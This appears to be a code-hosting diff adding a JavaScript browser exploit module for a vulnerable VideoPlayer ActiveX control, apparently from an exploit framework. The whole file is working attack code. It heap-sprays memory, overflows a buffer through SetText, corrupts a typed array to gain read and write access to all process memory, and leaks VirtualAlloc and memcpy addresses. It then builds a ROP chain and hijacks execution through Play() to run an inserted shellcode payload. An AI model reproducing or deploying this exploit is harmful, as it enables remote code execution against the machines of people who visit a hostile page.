|
| 1 | +var Exploit = function () { |
| 2 | + // create its vulnerable ActiveX object (as HTMLObjectElement) |
| 3 | + this.obj = document.createElement("object"); |
| 4 | + this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B"); |
| 5 | + // perform controlled memwrite to 0x1111f010: typed array header is at |
| 6 | + // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with |
| 7 | + // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00 |
| 8 | + // The first 3 dwords are sideeffects due to the code we abuse for the |
| 9 | + // controlled memcpy |
| 10 | + this.whereAddress = 0x1111f010; |
| 11 | + this.memory = null; |
| 12 | + this.addresses = new Object(); |
| 13 | + this.sprayer = null; |
| 14 | + this.informer = null; |
| 15 | + this.sc = "<%=shellcode%>"; |
| 16 | +}; |
| 17 | + |
| 18 | +Exploit.prototype.run = function() { |
| 19 | + CollectGarbage(); |
| 20 | + this.sprayer = new Sprayer(); |
| 21 | + this.sprayer.spray(); |
| 22 | + |
| 23 | + this.memory = this.doCorruption(); |
| 24 | + |
| 25 | + //alert(this.memory.length.toString(16)) |
| 26 | + if (this.memory.length != 0x7fffffff){ |
| 27 | + //alert("Cannot change Uint32Array length"); |
| 28 | + return -1; |
| 29 | + } |
| 30 | + |
| 31 | + // now we could even repair the change we did with memcpy ... |
| 32 | + |
| 33 | + this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress); |
| 34 | + var leakSuccess = this.leakAddresses(); |
| 35 | + |
| 36 | + if (leakSuccess != 0) { |
| 37 | + //alert("Cannot leak required address to build the ROP chain"); |
| 38 | + return leakSuccess; |
| 39 | + } |
| 40 | + |
| 41 | + var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length); |
| 42 | + ropBuilder.buildRop(); |
| 43 | + |
| 44 | + // manipulate object data to gain EIP control with "Play" method |
| 45 | + var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26]; |
| 46 | + this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call |
| 47 | + |
| 48 | + // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */ |
| 49 | + this.obj.Play() |
| 50 | +}; |
| 51 | + |
| 52 | +Exploit.prototype.prepareOverflow = function() { |
| 53 | + // prepare buffer with address we want to write to |
| 54 | + var ptrBuf = ""; |
| 55 | + // fill buffer: length = relative pointer address - buffer start + pointer |
| 56 | + // offset |
| 57 | + while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" } |
| 58 | + ptrBuf += this.dword2str(this.whereAddress); |
| 59 | + |
| 60 | + return ptrBuf; |
| 61 | +}; |
| 62 | + |
| 63 | +Exploit.prototype.doCorruption = function() { |
| 64 | + var ptrBuf = this.prepareOverflow(); |
| 65 | + |
| 66 | + // trigger: overflow buffer and overwrite the pointer value after buffer |
| 67 | + this.obj.SetText(ptrBuf, 0, 0); |
| 68 | + //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068") |
| 69 | + |
| 70 | + // use overwritten pointer after buffer with method "SetFontName" to conduct |
| 71 | + // memory write. We overwrite a typed array's header length to 0x40 and let |
| 72 | + // its buffer point to the next typed array header at 0x1111f030 (see above) |
| 73 | + this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE |
| 74 | + |
| 75 | + |
| 76 | + if (this.sprayer.find() == -1){ |
| 77 | + //alert("cannot find corrupted Uint32Array"); |
| 78 | + return -1 |
| 79 | + } |
| 80 | + |
| 81 | + // modify subsequent Uint32Array to be able to RW all process memory |
| 82 | + this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length |
| 83 | + this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem |
| 84 | + |
| 85 | + // our memory READWRITE interface :) |
| 86 | + return this.sprayer.fullMemory; |
| 87 | +}; |
| 88 | + |
| 89 | +Exploit.prototype.leakAddresses = function() { |
| 90 | + this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj); |
| 91 | + |
| 92 | + this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj); |
| 93 | + |
| 94 | + // check if we have the image of VideoPlayer.ocx |
| 95 | + // check for MZ9000 header and "Vide" string at offset 0x6a000 |
| 96 | + if (this.memory[this.addresses['base'] / 4] != 0x905a4d || |
| 97 | + this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){ |
| 98 | + //alert("Cannot find VideoPlayer.ocx base or its version is wrong"); |
| 99 | + return -1; |
| 100 | + } |
| 101 | + //alert(this.addresses['base'].toString(16)) |
| 102 | + |
| 103 | + // get VirtualAlloc from imports of VideoPlayer.ocx |
| 104 | + this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4]; |
| 105 | + // memcpy is available inside VideoPlayer.ocx |
| 106 | + this.addresses['memcpy'] = this.addresses['base'] + 0x15070; |
| 107 | + //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16)) |
| 108 | + |
| 109 | + scBuf = new Uint8Array(this.sc.length); |
| 110 | + for (n=0; n < this.sc.length; n++){ |
| 111 | + scBuf[n] = this.sc.charCodeAt(n); |
| 112 | + } |
| 113 | + |
| 114 | + this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf); |
| 115 | + |
| 116 | + return 0; |
| 117 | +}; |
| 118 | + |
| 119 | +// dword to little endian string |
| 120 | +Exploit.prototype.dword2str = function(dword) { |
| 121 | + var str = ""; |
| 122 | + for (var n=0; n < 4; n++){ |
| 123 | + str += String.fromCharCode((dword >> 8 * n) & 0xff); |
| 124 | + } |
| 125 | + return str; |
| 126 | +}; |
0 commit comments